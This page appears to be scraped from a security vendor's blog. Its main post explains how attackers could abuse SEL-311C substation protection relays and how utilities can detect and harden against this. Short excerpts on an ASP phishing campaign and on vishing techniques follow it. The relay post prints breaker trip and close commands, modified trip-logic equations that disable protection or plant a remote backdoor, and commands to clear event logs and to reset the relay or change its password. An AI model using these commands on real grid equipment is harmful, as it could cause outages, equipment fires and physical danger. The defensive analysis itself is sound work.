This insight enables precise targeting. For example, instead of blindly disabling protection across the board, which would raise immediate alarms, the attacker may suppress tripping on a backup relay while leaving the primary untouched. Or, they might modify logic in such a way that a fault won't be cleared until the disturbance propagates, creating the conditions for a wider outage.

At this stage, the attacker is not just exploiting the relay as a networked device. They're treating it as a control surface for the substation itself. With deep process context in hand, they move from reconnaissance to exploitation: manipulating logic, altering protection thresholds, injecting malicious firmware, or spoofing breaker commands and because their changes are aligned with system topology, they maximize impact while minimizing detection.

Practical Examples of Exploiting Protection Relays

The fusion of network awareness and electrical process understanding makes modern substation attacks particularly dangerous—and why protection relays, when compromised, represent one of the highest-value cyber-physical targets in the grid.

To illustrate how such knowledge is operationalized by attackers, let's examine a practical example involving the SEL-311C relay, a device widely deployed across substations. Note: While this example focuses on SEL, the tactics described here apply broadly to comparable relays from other major OEM vendors such as ABB, GE, Siemens, and Schneider Electric. In addition, the information presented in this section does not constitute any unknown vulnerabilities or proprietary information, but instead demonstrates the potential for an attacker to use built-in device features to achieve adversarial objectives.

Figure 2: Attack Vectors for a SEL-311C Protection Relay

Physical Access

If an attacker gains physical access to a protection relay, either through the front panel or by opening the enclosure they can trigger a hardware override by toggling the internal access jumper, typically located on the relay's main board. This bypasses all software-based authentication, granting unrestricted command-level access without requiring a login. Once inside, the attacker can modify protection settings, reset passwords, disable alarms, or issue direct breaker commands effectively assuming full control of the relay.

However, such intrusions can be detected, if the right safeguards are in place. Most modern substations incorporate electronic access control systems (EACS) and SCADA-integrated door alarms. If a cabinet door is opened without an authorized user logged as onsite (via badge entry or operator check-in), alerts can be escalated to dispatch field response teams or security personnel.

Relays themselves provide telemetry for physical access events. For instance, SEL relays pulse the ALARM contact output upon use of the 2ACCESS command, even when the correct password is entered. Failed authentication attempts assert the BADPASS logic bit, while SETCHG flags unauthorized setting modifications. These SEL WORDs can be continuously monitored through SCADA or security detection systems for evidence of tampering.

Toggling the jumper to bypass relay authentication typically requires power-cycling the device, a disruptive action that can itself trigger alarms or be flagged during operational review.

To further harden the environment, utilities increasingly deploy centralized relay management suites (e.g., SEL Grid Configurator, GE Cyber Asset Protection, or vendor-neutral tools like Subnet PowerSystem Center) that track firmware integrity, control logic uploads, and enforce version control tied to access control mechanisms.

In high-assurance deployments, relay configuration files are often encrypted, access-restricted, and protected by multi-factor authentication, reducing the risk of rollback attacks or lateral movement even if the device is physically compromised.

Command Interfaces and Targets

With access established whether through credential abuse, exposed network services, or direct hardware bypass the attacker is now in a position to issue live commands to the relay. At this stage, the focus shifts from reconnaissance to manipulation, leveraging built-in interfaces to override protection logic and directly influence power system behavior.

Here's how these attacks unfold in a real-world scenario:

Manual Breaker Operation: An attacker can directly issue control commands to the relay to simulate faults or disrupt operations.
- Example commands include:
  - ==>PUL OUT101 5 ; Pulse output for 5 seconds to trip breaker
  - =>CLO ; Force close breaker
  - =>OPE ; Force open breaker
- These commands bypass traditional protection logic, allowing relays to open or close breakers on demand. This can isolate critical feeders, create artificial faults, or induce overload conditions—all without triggering standard fault detection sequences.

Programmable Trip Logic Manipulation
- Modern protection relays such as those from SEL (SELogic), GE (FlexLogic), ABB (CAP tools), and Siemens (CFC), support customizable trip logic through embedded control languages. These programmable logic engines enable utilities to tailor protection schemes to site-specific requirements. However, this powerful feature also introduces a critical attack surface. If an adversary gains privileged access, they can manipulate core logic equations to suppress legitimate trips, trigger false operations, or embed stealthy backdoors that evade normal protection behavior.
  
  One of the most critical targets in this logic chain is the Trip Request (TR) output, the internal control signal that determines whether the relay sends a trip command to the circuit breaker.
  
  This equation specifies the fault conditions under which the relay should initiate a trip. Each element represents a protection function or status input, such as zone distance, overcurrent detection, or breaker position and collectively they form the basis of coordinated relay response.
  
  In the relay operation chain, the TR equation is at the core of the protection logic.

Figure 3: TR Logic Evaluation within the Protection Relay Operation Chain

In SEL devices, for example, this TR logic is typically defined using a SELogic control equation. A representative version might look like this:

TR = M1P + Z1G + M2PT + Z2GT + 51GT + 51QT + 50P1 * SH0

Table 1 includes an explanation of each element.

Element

Description

M1P

Zone 1 Phase distance element, it trips on phase faults within Zone 1.

Z1G

Zone 1 Ground distance element, trips on ground faults within Zone 1

M2PT

Phase distance element from Channel M2, Phase Trip (could be Zone 2)

Z2GT

Zone 2 Ground distance Trip element, for ground faults in Zone 2

51GT

Time-overcurrent element for ground faults (ANSI 51G)

51QT

Time-overcurrent element for negative-sequence current (unbalanced faults)

50P1

Instantaneous phase overcurrent element (ANSI 50P) for Zone 1

SH0

Breaker status input, logic 1 when breaker is closed

Table 1: Elements of TR

In the control equation, the + operator means logical OR, and * means logical AND. Therefore, the logic asserts TR if:

- - - - Any of the listed fault elements (distance, overcurrent) are active, or
      - An instantaneous overcurrent occurs while the breaker is closed.

In effect, the breaker is tripped:

- - - - If a phase or ground fault is detected in Zone 1 or Zone 2
      - If a time-overcurrent condition develops
      - Or if there's an instantaneous spike while the breaker is in service

How Attackers Can Abuse the TR Logic

With editing access, attackers can rewrite this logic to suppress protection, force false trips, or inject stealthy backdoors.

Table 2 shows common logic manipulation variants.

Attack Type

Modified Logic

Effect

Disable All Trips

TR = 0

Relay never trips, even during major faults. Allows sustained short circuits, potentially leading to fires or equipment failure.

Force Constant Tripping

TR = 1, TRQUAL = 0

Relay constantly asserts trip, disrupting power regardless of fault status.

Impossible Condition

TR = 50P1 * !SH0

Breaker only trips when already open, a condition that never occurs.

Remove Ground Fault Detection

TR = M1P + M2PT + 50P1 * SH0

Relay ignores ground faults entirely, a dangerous and hard-to-detect attack.

Hidden Logic Backdoor

TR = original + RB15

Attacker can trigger trip remotely via RB15 (a Remote Bit), even without a real fault.

Table 2: TR logic bombs

Disable Trip Unlatching (ULTR)

ULTR = 0
Impact: Prevents the relay from resetting after a trip. The breaker stays open until manually reset, which delays recovery and increases outage durations.

Reclose Logic Abuse

79RI = 1 ; Reclose immediately
79STL = 0 ; Skip supervision logic
Impact: Forces breaker to reclose repeatedly, even into sustained faults. Can damage transformer windings, burn breaker contacts, or create oscillatory failures.

LED Spoofing

LED12 = !TRIP
Impact: Relay front panel shows a "healthy" status even while tripped. Misleads field technicians during visual inspections.

Event Report Tampering

=>EVE ; View latest event
=>TRI ; Manually trigger report
=>SER C ; Clear Sequential Event Recorder
Impact: Covers attacker footprints by erasing evidence. Removes Sequential Event Recorder (SER) logs and trip history. Obstructs post-event forensics.

Change Distance Protection Settings

In the relay protection sequence, distance protection operates earlier in the decision chain, evaluating fault conditions based on impedance before the trip logic is executed to issue breaker commands.

Figure 4: Distance protection settings in a Relay Operation Chain

Impact: Distance protection relies on accurately configured impedance reach (Z1MAG) and impedance angle (Z1ANG) to detect faults within a predefined section of a transmission line (typically 80–100% of line length for Zone 1). Manipulating these values can have the following consequences:
- Under-Reaching: Reducing Z1MAG to 0.3 causes the relay to detect faults only within 30% of the line length, making it blind to faults in the remaining 70% of the protected zone. This can result in missed trips, delayed fault clearance, and cascading failures if the backup protection does not act in time.
- Impedance Angle Misalignment: Changing Z1ANG affects the directional sensitivity and fault classification. If the angle deviates from system characteristics, the relay may misclassify faults or fail to identify high-resistance faults, particularly on complex line configurations like underground cables or series-compensated lines.
- False Trips: In certain conditions, especially with heavy load or load encroachment, a misconfigured distance zone may interpret normal load flow as a fault, resulting in nuisance tripping and unnecessary outages.
- Compromised Selectivity & Coordination: The distance element's coordination with other relays (e.g., Zone 2 or remote end Zone 1) becomes unreliable, leading to overlapping zones or gaps in coverage, defeating the core principle of selective protection.

Restore Factory Defaults

=>>R_S
Impact: Wipes all hardened settings, password protections, and customized logic. Resets the relay to an insecure factory state.

Password Modification for Persistence

=>>PAS 1 <newpass>
Impact: Locks out legitimate users. Maintains long-term attacker access. Prevents operators from reversing changes quickly during incident response.

What Most Environments Still Get Wrong

Despite increasing awareness, training, and incident response playbooks, many substations and critical infrastructure sites continue to exhibit foundational security weaknesses. These are not simply oversights—they're systemic, shaped by the realities of substation lifecycle management, legacy system inertia, and the operational constraints of critical grid infrastructure.

Modernizing substation cybersecurity is not as simple as issuing new policies or buying next-generation tools. Substations typically undergo major upgrades on decade-long cycles, often limited to component replacement rather than full network redesigns. Integrating modern security features like encrypted protocols, central access control, or firmware validation frequently requires adding computers, increasing bandwidth, and introducing centralized key management systems. These changes are non-trivial in bandwidth-constrained environments built for deterministic, low-latency communication—not IT-grade flexibility.

Further complicating matters, vendor product cycles move faster than infrastructure refresh cycles. It's not uncommon for new protection relays or firmware platforms to be deprecated or reworked before they're fully deployed across even one utility's fleet, let alone hundreds of substations.

The result? A patchwork of legacy protocols, brittle configurations, and incomplete upgrades that adversaries continue to exploit. In the following section, we examine some of the most critical and persistent gaps, why they still exist, and what can realistically be done to address them.

This section highlights the most common and dangerous security gaps observed in real-world environments.

Legacy Protocols Left Enabled
- Relays often come with older communication protocols such as:
  - Telnet (unencrypted remote access)
  - FTP (insecure file transfer)
  - Modbus RTU/TCP (lacks authentication or encryption)
- These are frequently left enabled by default, exposing relays to:
  - Credential sniffing
  - Packet manipulation
  - Unauthorized control commands
- Recommendation: Where possible, disable legacy services and transition to secure alternatives (e.g., SSH, SFTP, or IEC 62351 for secured GOOSE/MMS). If older services must be retained, tightly restrict access via VLANs, firewalls, and role-based control.
IT/OT Network Convergence Without Isolation
- Modern substations may share network infrastructure with enterprise IT environments:
  - VPN access to Substation networks
  - Shared switches or VLANs between SCADA systems and relay networks
  - Lack of firewalls or access control lists (ACLs)
- This exposes protection relays to malware propagation, ransomware, or lateral movement from compromised IT assets.
- Recommendation: Establish strict network segmentation using firewalls, ACLs, and dedicated protection zones. All remote access should be routed through Privileged Access Management (PAM) platforms with MFA, session recording, and Just-In-Time access control.
Default or Weak Relay Passwords
- In red team and audit exercises, default credentials are still found in the field sometimes printed on the relay chassis itself.
  - Factory-level passwords like LEVEL2, ADMIN, or OPERATOR remain unchanged.
  - Passwords physically labeled on devices
  - Password sharing among field teams compromises accountability.
- These practices persist due to operational convenience, lack of centralized credential management, and difficulty updating devices in the field.
- Recommendation: Mandate site-specific, role-based credentials with regular rotation and enforced via centralized relay management tools. Ensure audit logging of all access attempts and password changes.
Built-in Security Features Left Unused
- OEM vendors already provide a suite of built-in security features, yet these are rarely configured in production environments. Security features such as role-based access control (RBAC), secure protocol enforcement (e.g., HTTPS, SSH), user-level audit trails, password retry lockouts, and alert triggers (e.g., BADPASS or SETCHG bits) are typically disabled or ignored during commissioning. In many cases, these features are not even evaluated due to time constraints, lack of policy enforcement, or insufficient familiarity among field engineers.
  
  These oversight patterns are particularly common in environments that inherit legacy commissioning templates, where security features are left in their default or least-restrictive state for the sake of expediency or compatibility.
- Recommendation: Security configurations must be explicitly reviewed during commissioning and validated periodically. At a minimum:
  - Enable RBAC and enforce user-level permission tiers.
  - Configure BADPASS, ALARM, SETCHG, and similar relay logic bits to generate real-time telemetry.
  - Use secure protocols (HTTPS, SSH, IEC 62351) where supported.
  - Integrate security bit changes and access logs into central SIEM or NMS platforms for correlation and alerting.
Engineering Laptops with Stale Firmware Tools
- OEM vendors also release firmware updates to fix any known security vulnerabilities and bugs. However:
  - Engineering laptops often use outdated configuration software
  - Old firmware loaders may upload legacy or vulnerable versions
  - Security patches are missed entirely
- Recommendation: Maintain hardened engineering baselines with validated firmware signing, trusted toolchains, and controlled USB/media usage. Track firmware versions across the fleet for vulnerability exposure.
No Alerting on Configuration or Logic Changes
- Protection relays support advanced logic and automation features like SELogic and FlexLogic but in many environments, no alerting is configured for changes. This makes it easy for attackers (or even insider threats) to silently:
  - Modify protection logic
  - Switch setting groups
  - Suppress alarms or trips
- Recommendation: Enable relay-side event-based alerting for changes to settings, logic, or outputs. Forward logs to a central SIEM or security operations platform capable of detecting unauthorized logic uploads or suspicious relay behavior.
Relays Not Included in Security Audits or Patch Cycles
- Relays are often excluded from regular security practices:
  - Not scanned for vulnerabilities
  - Not included in patch management systems
  - No configuration integrity monitoring or version tracking
- This blind spot leaves highly critical assets unmanaged, and potentially exploitable.
- Recommendation: Bring protection relays into the fold of cybersecurity governance, with scheduled audits, patch planning, and configuration monitoring. Use tools that can validate settings integrity and detect tampering, whether via vendor platforms or third-party relay management suites.
Physical Tamper Detection Features Not Monitored
- Many modern protection relays include hardware-based tamper detection features designed to alert operators when the device enclosure is opened or physically manipulated. These may include:
  - Chassis tamper switches that trigger digital inputs or internal flags when the case is opened.
  - Access jumper position monitoring, which can be read via relay logic or status bits.
  - Power cycle detection, especially relevant when jumpers are toggled (e.g., SEL relays require a power reset to apply jumper changes).
  - Relay watchdog or system fault flags, indicating unexpected reboots or logic resets post-manipulation.
- Despite being available, these physical integrity indicators are rarely wired into the SCADA system or included in alarm logic. As a result, an attacker could open a relay, trigger the access jumper, or insert a rogue SD card—and leave no real-time trace unless other controls are in place.
- Recommendation: Utilities should enable and monitor all available hardware tamper indicators:
  - Wire tamper switches or digital input changes into RTUs or SCADA for immediate alerts.
  - Monitor ALARM, TAMPER, SETCHG, or similar logic bits in relays that support them (e.g., SEL WORD bits).
  - Configure alert logic to correlate with badge access logs or keycard systems—raising a flag if physical access occurs outside scheduled maintenance windows.
  - Include physical tamper status as a part of substation security monitoring dashboards or intrusion detection platforms.

From Oversights to Action — A New Baseline for Relay Security

The previously outlined vulnerabilities aren't limited to isolated cases, they reflect systemic patterns across substations, utilities, and industrial sites worldwide. As the attack surface expands with increased connectivity, and as adversaries become more sophisticated in targeting protection logic, these security oversights can no longer be overlooked.

But securing protection relays doesn't require reinventing the wheel. It begins with the consistent application of fundamental security practices, drawn from real-world incidents, red-team assessments, and decades of power system engineering wisdom.

While these practices can be retrofitted into existing environments, it's critical to emphasize that security is most effective when it's built in by design, not bolted on later. Retrofitting controls in fragile operational environments often introduces more complexity, risk, and room for error. For long-term resilience, security considerations must be embedded into system architecture from the initial design and commissioning stages.

To help asset owners, engineers, and cybersecurity teams establish a defensible and vendor-agnostic baseline, Mandiant has compiled the "Top 10 Security Practices for Substation Relays," a focused and actionable framework applicable across protocols, vendors, and architectures.

In developing this list, Mandiant has drawn inspiration from the broader ICS security community—particularly initiatives like the "Top 20 Secure PLC Coding Practices" developed by experts in the field of industrial automation and safety instrumentation. While protection relays are not the same as PLCs, they share many characteristics: firmware-driven logic, critical process influence, and limited error tolerance.

The Top 20 Secure PLC Coding Practices have shaped secure programming conversations for logic-bearing control systems and Mandiant aims for this "Top 10 Security Practices for Substation Relays" list to serve a similar purpose for the protection engineering domain.

Top 10 Security Practices for Substation Relays

Practice

What It Protects

Explanation

Authentication & Role Separation

Prevents unauthorized relay access and privilege misuse

Ensure each user has their own account with only the permissions they need (e.g., Operator, Engineer). Remove default or unused credentials.

Secure Firmware & Configuration Updates

Prevents unauthorized or malicious software uploads

Only allow firmware/configuration updates using verified, signed images through secure tools or physical access. Keep update logs.

Network & Protocol Hardening

Prevents spoofed messages, unauthorized remote access, VLAN abuse

Disable unused services like HTTP, Telnet, or FTP. Use authenticated communication for SCADA protocols (IEC 61850, DNP3). Whitelist IPs.

Time Synchronization & Logging Protection

Ensures forensic accuracy and prevents log tampering or replay attacks

Use authenticated SNTP or IRIG-B for time. Protect event logs (SER, fault records) from unauthorized deletion or overwrite.

Custom Logic Integrity Protection

Prevents logic-based sabotage or backdoors in protection schemes

Monitor and restrict changes to programmable logic (trip equations, control rules). Maintain version history and hash verification.

Physical Interface Hardening

Blocks unauthorized access via debug ports or jumpers

Disable, seal, or password-protect physical interfaces like USB, serial, or Ethernet service ports. Protect access jumpers.

Redundancy and Failover Readiness

Ensures protection continuity during relay failure or communication outage

Test pilot schemes (POTT, DCB, 87L). Configure redundant paths and relays with identical settings and failover behavior.

Remote Access Restrictions & Monitoring

Prevents dormant vendor backdoors and insecure remote control

Disable remote services when not needed. Remove unused vendor/service accounts. Alert on all remote access attempts.

Command Supervision & Breaker Output Controls

Prevents unauthorized tripping or closing of breakers

Add logic constraints (status checks, delays, dual-conditions) to all trip/close outputs. Log all manual commands.

Centralized Log Forwarding & SIEM Integration

Enables detection of attacks and misconfigurations across systems

Relay logs and alerts should be sent to a central monitoring system (SIEM or historian) for correlation, alerts, and audit trails.

Call to Action

In an era of increasing digitization and escalating cyber threats, the integrity of our power infrastructure hinges on the security of its most fundamental guardians: protection relays. The focus of this analysis is to highlight the criticality of enabling existing security controls and incorporating security as a core design principle for every new substation and upgrade. As sophisticated threat actors, including nation-state-sponsored groups from countries like Russia, China and Iran, actively target critical infrastructure, the need to secure these devices has never been more urgent.

Mandiant recommends that all asset owners prioritize auditing remote access paths to substation automation systems and investigate the feasibility of implementing the "Top 10 Security Practices for Substation Relays" highlighted in this document. Defenders should also consider building a test relay lab or a relay digital twin, which are cloud-based replicas of their physical systems offered by some relay vendors, for robust security and resilience testing in a safe environment. By using real-time data, organizations can use test relay labs or digital twins to—among other things—test for essential subsystem interactions and repercussions of their systems transitioning from a secure state to an insecure state, all without disrupting production. To validate these security controls against a realistic adversary, a Mandiant OT Red Team exercise can safely simulate the tactics, techniques, and procedures used in real-world attacks and assess your team's detection and response capabilities. By taking proactive steps to harden these vital components, we can collectively enhance the resilience of the grid against a determined and evolving threat landscape.

Mandiant

What’s in an ASP? Creative Phishing Attack on Prominent Academics and Critics of Russia

Mandiant Threat Intelligence

2 months ago

Written by: Gabby Roncone, Wesley Shields

UPDATE (July 10): In late June 2025, Google Threat Intelligence Group (GTIG) discovered continued UNC6293 operations that demonstrate an evolution in the group’s tradecraft. Using similar lure themes as previously observed activity, UNC6293 continued the ASP phishing campaign against prominent academics, critics of Russia, and journalists using different ASP names, potentially as a response to our publication of their tradecraft. In a different campaign, UNC6293 sought to convince targets to link an attacker-controlled device to their Microsoft O365 account through Microsoft’s device code authentication flow.

In an attempt to continue the ASP campaign, UNC6293 attempted to re-establish contact with specific individuals that had previously engaged with the initial phishing attempts. GTIG observed UNC6293 creating multiple new accounts with similar usernames to ones used previously and already disabled. UNC6293 also used different ASP names in this continuation wave of the campaign. Due to the engagement with their initial campaign, UNC6293 demonstrated a desire to keep the ruse of being State Department employees alive and re-engage with specific individual targets from the previous campaign.

UNC6293 also began to send tailored invitations to virtual meetings through calendar invites. These invitations included links to Zoom and Google Meet as well as a Microsoft authentication URL for an attacker controlled application.

https://login.microsoft[.]com/<redacted>/oauth2/authorize?client_id= fc45d3d0-d870-4c83-b3f7-08ebca61d3a0&prompt= none&response_mode=form_post

Clicking the Microsoft authentication URL starts a redirect chain that includes an actor-controlled domain:

https://rediruri[.]app/<redacted>

The attacker-controlled URL is only visible in the browser for a short period of time before it redirects the target to a Microsoft O365 authentication page (Figure 4).

Figure 4: Microsoft O365 authentication page after redirect

Given the demonstrated patience, persistence and creativity of this threat actor, GTIG strongly recommends following the mitigations outlined in the initial version of this blog post to protect against any further ASP phishing campaigns from UNC6293 or other threat actors. Social engineering attacks abusing legitimate authentication features are difficult to defend against; as a result, we suggest individuals who may be targeted by this group use Google’s enhanced security resources such as the Advanced Protection Program (APP).

In cooperation with external partners, Google Threat Intelligence Group (GTIG) observed a Russia state-sponsored cyber threat actor impersonating the U.S. Department of State. From at least April through early June 2025, this actor targeted prominent academics and critics of Russia, often using extensive rapport building and tailored lures to convince the target to set up application specific passwords (ASPs). Once the target shares the ASP passcode, the attackers establish persistent access to the victim’s mailbox. Two distinct campaigns are detailed in this post. This activity aligns with Citizen Lab’s recent research on social engineering attacks against ASPs, another useful resource for high risk users.

GTIG tracks this activity as UNC6293, a likely Russia state-sponsored cyber actor we assess with low confidence is associated with APT29 / ICECAP. After establishing rapport, the attacker sent phishing lures disguised as meeting invitations, and added spoofed Department of State email addresses on the cc line of the initial outreach to increase the legitimacy of the contact attempt. The initial phishing email itself is not directly malicious, but encourages the victim to respond to set up a meeting.

Figure 1: Keir Giles, a prominent British researcher on Russia, posted this screenshot of an email header with fake U.S. Department of State emails that was part of a UNC6293 campaign

Targets who responded received an email with a benign PDF lure attached. The State Department themed lure is customized to the target and contains instructions to securely access a fake Department of State cloud environment. This included directing victims to go to https://account.google.com and create an Application Specific Password (ASP) or “app passwords.” ASPs are randomly generated 16-character passcodes that allow third-party applications to access your Google Account, intended for applications and devices that do not support features like 2-step verification (2SV). To use an ASP you must set it up and provide a name for the application.

Figure 2: Benign PDF document with instructions

In campaign one, the ASP name suggested in the lure PDF was “ms.state.gov” and in campaign two, we observed a Ukrainian and Microsoft themed ASP name. After creating the ASP, the attackers directed the target to send them the 16-character code. The attackers then set up a mail client to use the ASP, likely with the end goal of accessing and reading the victim’s email correspondence. This method also allows the attackers to have persistent access to accounts.

Campaign

Sender Theme

ASP Name

Attacker Infrastructure Used

Campaign 1

State Department

ms.state.gov

91.190.191.117 - Residential proxy

Campaign 2

Unknown

Ukrainian and Microsoft-themed ASP

91.190.191.117 - Residential proxy

Attackers logged into victim accounts primarily using residential proxies and VPS servers, in some cases re-using infrastructure to access different victim or attacker accounts. As a result, we were able to connect the two distinct campaigns we observed to the same cluster. We have re-secured the Gmail accounts compromised by these campaigns.

Mitigations

GTIG is committed to our mission of understanding and countering advanced threats. We use the results of our research to ensure that Google's products are secure and to protect our users and enterprise customers.

Users have complete control over their ASPs and may create or revoke them on demand. Upon creation, Google sends a notification to the corresponding account Gmail, recovery email address, and any device signed in with that Google account to ensure the user intended to enable this form of authentication.

Figure 3: Google Account Help documentation on app passwords

Google provides enhanced security resources such as the Advanced Protection Program (APP), intended for individuals at high risk of targeted attacks and exposure to other serious threats. Opting to use the APP prevents an account from creating an ASP due to the program’s heightened security requirements.

We are committed to sharing our findings with the security community and with companies and individuals that may have been targeted by these activities, and we hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Lure PDF Document

SHA256: 329fda9939930e504f47d30834d769b30ebeaced7d73f3c1aadd0e48320d6b39

Google Threat Intelligence Group

Hello, Operator? A Technical Analysis of Vishing Threats

Mandiant Threat Intelligence

2 months 2 weeks ago

Written by: Nick Guttilla

Introduction

Organizations are increasingly relying on diverse digital communication channels for essential business operations. The way employees interact with colleagues, access corporate resources, and especially, receive information technology (IT) support is often conducted through calls, chat platforms, and other remote technologies. While these various available methods enhance both efficiency and global accessibility, they also introduce an expanded attack surface that can pose a significant risk if overlooked. Prevalence of in-person social interactions has diminished and remote IT structures, such as an outsourced service desk, has normalized employees' engagement with external or less familiar personnel. As a result, threat actors continue to use social engineering tactics.

Vishing in the Wild: A Tale of Two Actors

Social engineering is the psychological manipulation of people into performing unsolicited actions or divulging confidential information. It is an effective strategy that preys on human emotions and built-in vulnerabilities like trust and the desire to be helpful. Financially motivated threat actors have increasingly adopted voice-based social engineering, or "vishing," as a primary vector for initial access, though their specific methods and end goals can vary significantly.

Two prominent examples illustrate the versatility of this threat. The cluster tracked as UNC3944 (which overlaps with "Scattered Spider") has historically used vishing as a flexible entry point for a range of criminal enterprises. Their operators frequently call corporate service desks, impersonating employees to have credentials and multi-factor authentication (MFA) methods reset. This access is then leveraged for broader attacks, including SIM swapping, ransomware deployment, and data theft extortion.

More recently, the financially motivated actor UNC6040 has demonstrated a different vishing playbook. Its operators also impersonate IT support, but with the specific goal of deceiving employees into navigating to Salesforce’s connected app page and authorizing a malicious, actor-controlled version of the Data Loader application. This single action grants the actor the ability to perform large-scale data exfiltration from the victim's Salesforce environment, which is then used for subsequent extortion attempts. While both actors rely on vishing, their distinct objectives—UNC3944’s focus on account takeover for broad network access versus UNC6040’s targeted theft of CRM data—highlight the diverse risks organizations face from this tactic.

By reviewing the techniques, tactics, and procedures (TTPs) of actors like UNC3944 and UNC6040, organizations can better assess their own internal policies and guidelines when it comes to employee identification and protection of infrastructure and confidential data. Red teamers can also learn from their methodologies to better emulate real-world attacks and assist organizations in developing defense-in-depth strategies.

Mandiant has successfully used the following approaches to perform voice-based social engineering during Red Team Assessments for clients of varying sizes. The described techniques have enabled Mandiant to mimic TTPs from sophisticated vishing actors like UNC3944 and UNC6040, resulting in administrative-level user impersonation, corporate network perimeter breaches, and sensitive data access. Mandiant has additionally convinced multiple service desks to reset credentials and alter several forms of MFA. These simulated incidents have empowered organizations to proactively identify and resolve deficiencies that otherwise may have gone unnoticed and potentially exploited by a real threat actor.

aside_block: <ListValue: [StructValue([('title', "The Defender's Advantage podcast"), ('body', <wagtail.rich_text.RichText object at 0x3ee78079eb50>), ('btn_text', 'Listen now'), ('href', 'https://open.spotify.com/episode/33WgtCDvXBHTiagvmWN8Kj'), ('image', None)])]>

Open-Source Intelligence Gathering (OSINT)

Effective social engineering campaigns are built upon extensive reconnaissance. The amount of information an attacker can source about corporate culture, employees, policies, procedures, and technologies in use directly impacts the maturity of a phishing scenario's development. A thorough search to provide a comprehensive overview of an organization from an outside perspective would include, but is not limited to, discovery of the following items:

Network ranges and IP address space
Top-level domains and subdomains
Cloud service providers and email infrastructure
Internet-accessible and internally used web applications
Code repositories
Corporate phone numbers and email address formats
Employee positions and titles
Physical office locations
Publicly exposed internal documentation

Much of this information can often be found through publicly accessible resources. Company websites and marketing materials often list corporate contact information, including numbers for main lines, specific departments, or even individual employees. Social media platforms provide another means of profiling an organization. Professional networking services can be utilized to scrape the full names of employees and recreate corporate emails matching discovered naming conventions. Resumes shared on these platforms may also contain additional contact information including phone numbers and personal email addresses. Attackers may attempt to elicit private information by sending messages to employees from disposable email accounts, aiming to retrieve details through direct interaction or from out-of-office auto-replies. Additionally, public forums, where employees might seek troubleshooting assistance, can inadvertently reveal company-specific details.

Search engines, such as Google, DuckDuckGo, and Bing, provide advanced filtering capabilities to narrow results from targeted queries based on keywords, file types, and other parameters. Figure 1 includes an example of a search filter designed to uncover sensitive files for a given target that may be unknowingly exposed.

Figure 1: Searching for documents with search filters

Anonymity networks, like The Onion Router (TOR), can be used to access hidden services, obtain restricted content, and identify supplemental data such as leaked employee IDs, usernames, passwords, and personally identifiable information (PII).

The internet offers a vast array of resources, and a good amount of intelligence can be discovered without any overt interaction with your target.

Leveraging Automated Phone Services

Some organizations make use of automated phone systems that have pre-recorded messages and interactive menus. These systems can provide callers with business-related information, facilitate employee self-service, or route calls to appropriate departments. If not found online, an attacker may attempt to obtain the phone number for an automated service by contacting an employee, often at a reception desk, claiming to have misplaced the number. Calling into these automated services allows an attacker to anonymously identify common issues faced by end users, names of internal applications, additional phone numbers for specific support teams, and, occasionally, alerts about company-wide technical issues. This type of information can be used to craft pretexts for subsequent activity that involves impersonating IT support.

Discovering Employee Identification Processes

Actors engaged in voice-based social engineering ultimately aim to interact with a human operator. While some automated systems provide a direct option to speak with a live agent, others can require some initial information to be provided, such as an employee ID. However, even in these cases, it is common for repeated incorrect entries to result in the transfer to a live agent anyway. Service desk agents handle a high volume of inbound calls ranging from internal employees needing a password reset to external customers experiencing problems with a public-facing application. They are generally given a scripted process for call handling including information they need to request from the caller for identification as well as where to escalate if they are unable to address the issue directly.

During the reconnaissance phase in social engineering a service desk, an attacker may feign ignorance or push boundaries of information disclosure before a requirement for identification is enforced. It is also important for an attacker to take note of how service desk personnel react to incorrect or insufficient information being provided. For example, an attacker may provide an employee ID with an incorrect associated name to observe the response, potentially eliciting the correct full name or determining the validity of the employee ID format. Attackers may also call at different times to converse with varying staff members, use different voice modulations to conceal repeated reconnaissance attempts, and iteratively learn more about the service desk's identification process each time.

Alternatively, once a service desk number has been identified, an attacker can better target standard employees directly. Using publicly available resources, attackers can spoof the inbound number of a phone call to match that of the legitimate service desk. Without a procedure for verifying inbound callers claiming to be from IT, unsuspecting targets may be convinced by threat actors to perform actions that grant account access or divulge information that can be used to better impersonate staff.

Crafting a Convincing Narrative

With sufficient reconnaissance data, an attacker can formulate targeted campaigns reflecting plausible employee scenarios. A common pretext for contacting a service desk is a forgotten password. Many organizations verify employees using multiple factors. While initial reconnaissance might provide an attacker with answers for knowledge-based authentication methods, challenges arise if device-based verification is required. An attacker might impersonate an employee who claims their phone is unavailable (e.g., damaged or lost during travel) and who needs urgent account access. Another common practice is for actors to impersonate employees identified as being on personal time off (PTO) via out-of-office replies, leveraging a sense of urgency to persuade service desk personnel. Responses to such situations can vary, especially for executive-level users. In the event of a successful MFA reset, the attacker can then call back and try to get a different agent on the phone to further reset the impersonated user's password for a full account compromise. If the legitimate employee is genuinely unavailable, unauthorized account access can persist for an extended period of time.

The Evolution of an Exploit

The compromise of a single account can serve as a foundation for more complex social engineering campaigns. Breaching the perimeter of an organization often grants an attacker access to internal workflows, chats, documents, meeting invites, and ways to better uncover verified intelligence on existing employees. Open-source tools such as ROADrecon can extract details from entire Entra ID tenants, potentially revealing phone numbers, employee IDs, and organizational hierarchy. Attackers may also seek access to IT ticketing systems and support channels to impersonate service desk staff to end-users who have open requests. The more information an attacker possesses, the more believable their pretext becomes, increasing the probability of success.

Strategic Recommendations and Best Practices

Modern features in mobile technology, such as AI-powered Scam Detection on Android, demonstrate how software may be able to offer personal protection, but a comprehensive defense for organizations against vishing and related social engineering threats requires broad, proactive security initiatives and a defense-in-depth strategy. Mandiant recommends organizations consider the following best practices to reinforce their external perimeter and develop secure communication channels, particularly those involving IT support and employee verification.

Positive Identity Verification for Service Desk Interactions

Train service desk personnel to rigorously perform positive identity verification for all employees before modifying accounts or providing security-sensitive information (including during initial enrollment). This is critical for any privileged accounts.
Mandated verification methods should include options such as:

On-camera/video conference verification where the employee presents a corporate badge or government-issued ID
Utilization of an internal, up-to-date employee photo database
Challenge/response questions based on information not easily discoverable externally (avoiding reliance on publicly available PII like date of birth or the last four digits of a Social Security number, as actors often possess this data)

For high-risk changes, such as MFA resets or password changes for privileged accounts, implement out-of-band verification (e.g., a call-back to a registered phone number or confirmation via a known corporate email address of the employee or their manager).
During periods of heightened threat or suspected compromise, consider temporarily disabling self-service password or MFA reset methods and routing all such requests through a manual service desk workflow with enhanced scrutiny.

Enforce Strong, Phishing-Resistant MFA

